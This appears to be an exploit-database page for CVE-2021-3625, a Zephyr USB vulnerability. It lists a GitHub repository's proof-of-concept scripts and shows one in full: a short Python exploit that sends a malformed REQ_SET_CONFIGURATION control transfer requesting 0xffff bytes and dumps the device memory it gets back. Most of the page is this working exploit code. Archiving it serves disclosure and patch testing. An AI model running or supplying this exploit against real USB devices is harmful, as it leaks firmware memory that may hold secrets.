Exploit databaseDownload repository ZIP
GH-6cde6121892ac9bd252727735feb1a55
szymonh/zephyr_cve-2021-3625
Sources for CVE-2021-3625
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files9
szymonh/zephyr_cve-2021-3625Revision 99ceca8a4fc5
- .gitignore
- LICENSE
- README.md
- cdc_set_control_line_state.py
- cdc_set_line_coding.py
- clear_feature.py
- dfu_overflow.py
- set_address.py
- set_configuration.py
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
set_configuration.py
Python · 472 bytes#!/usr/bin/python3
#
# CVE-2021-3625 POC
#
# Memory readout exploit for usb device REQ_SET_CONFIGURATION
#
import sys
import usb.core
# get the device
usbdev = usb.core.find(idVendor=0x2fe3, idProduct=0x0100)
bmRequestType = (1 << 7) | (0 << 5)
bRequest = 0x09
wValue = 0x00
wIndex = 0x00
length = 0xffff
# REQ_SET_CONFIGURATION transfer to Host? why not ...
data = usbdev.ctrl_transfer(bmRequestType, bRequest, wValue, wIndex, length)
sys.stdout.buffer.write(data)